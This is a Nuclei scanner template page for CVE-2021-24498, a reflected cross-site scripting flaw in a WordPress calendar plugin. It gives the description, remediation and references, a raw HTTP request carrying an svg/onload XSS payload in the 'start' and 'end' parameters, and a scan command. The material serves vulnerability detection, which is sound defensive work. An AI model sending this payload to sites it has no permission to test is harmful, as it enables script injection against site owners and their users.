WordPress Calendar Event Multi View <1.4.01 - Cross-Site Scripting

ID: CVE-2021-24498

Severity: medium

Author: suman_kar

Tags: cve2021,cve,xss,wordpress,wp-plugin,wpscan,dwbooster

Description

WordPress Calendar Event Multi View plugin before 1.4.01 contains an unauthenticated reflected cross-site scripting vulnerability. It does not sanitize or escape the ‘start’ and ‘end’ GET parameters before outputting them in the page (via php/edit.php).

YAML Source

id: CVE-2021-24498

info:
  name: WordPress Calendar Event Multi View <1.4.01 - Cross-Site Scripting
  author: suman_kar
  severity: medium
  description: WordPress Calendar Event Multi View plugin before 1.4.01 contains an unauthenticated reflected cross-site scripting vulnerability. It does not sanitize or escape the 'start' and 'end' GET parameters before outputting them in the page (via php/edit.php).
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into the affected website, leading to potential data theft, session hijacking, or defacement.
  remediation: |
    Update the WordPress Calendar Event Multi View plugin to version 1.4.01 or later to mitigate the vulnerability.
  reference:
    - https://wpscan.com/vulnerability/3c5a5187-42b3-4f88-9b0e-4fdfa1c39e86
    - https://nvd.nist.gov/vuln/detail/CVE-2021-24498
    - https://github.com/ARPSyndicate/kenzer-templates
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-24498
    cwe-id: CWE-79
    epss-score: 0.00171
    epss-percentile: 0.54048
    cpe: cpe:2.3:a:dwbooster:calendar_event_multi_view:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 1
    vendor: dwbooster
    product: calendar_event_multi_view
    framework: wordpress
  tags: cve2021,cve,xss,wordpress,wp-plugin,wpscan,dwbooster

http:
  - raw:
      - |
        GET /?cpmvc_id=1&cpmvc_do_action=mvparse&f=edit&month_index=0&delete=1&palette=0&paletteDefault=F00&calid=1&id=999&start=a%22%3E%3Csvg/%3E%3C%22&end=a%22%3E%3Csvg/onload=alert(1)%3E%3C%22 HTTP/1.1
        Host: {{Hostname}}
        Accept-Encoding: gzip, deflate
        Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
        Connection: close

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '><svg/onload=alert(1)><'
          - 'Calendar Details'
        condition: and

      - type: word
        part: header
        words:
          - 'text/html'

      - type: status
        status:
          - 200
# digest: 490a004630440220188c688fc1a2d04721ed856f7b569f85f01c55ef577cc7746e16c5d333161e3f02202518f12c25a2585666853bb1fbaa8f31c4e93112a79b7a18851fcebee5f6ff43:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2021/CVE-2021-24498.yaml"

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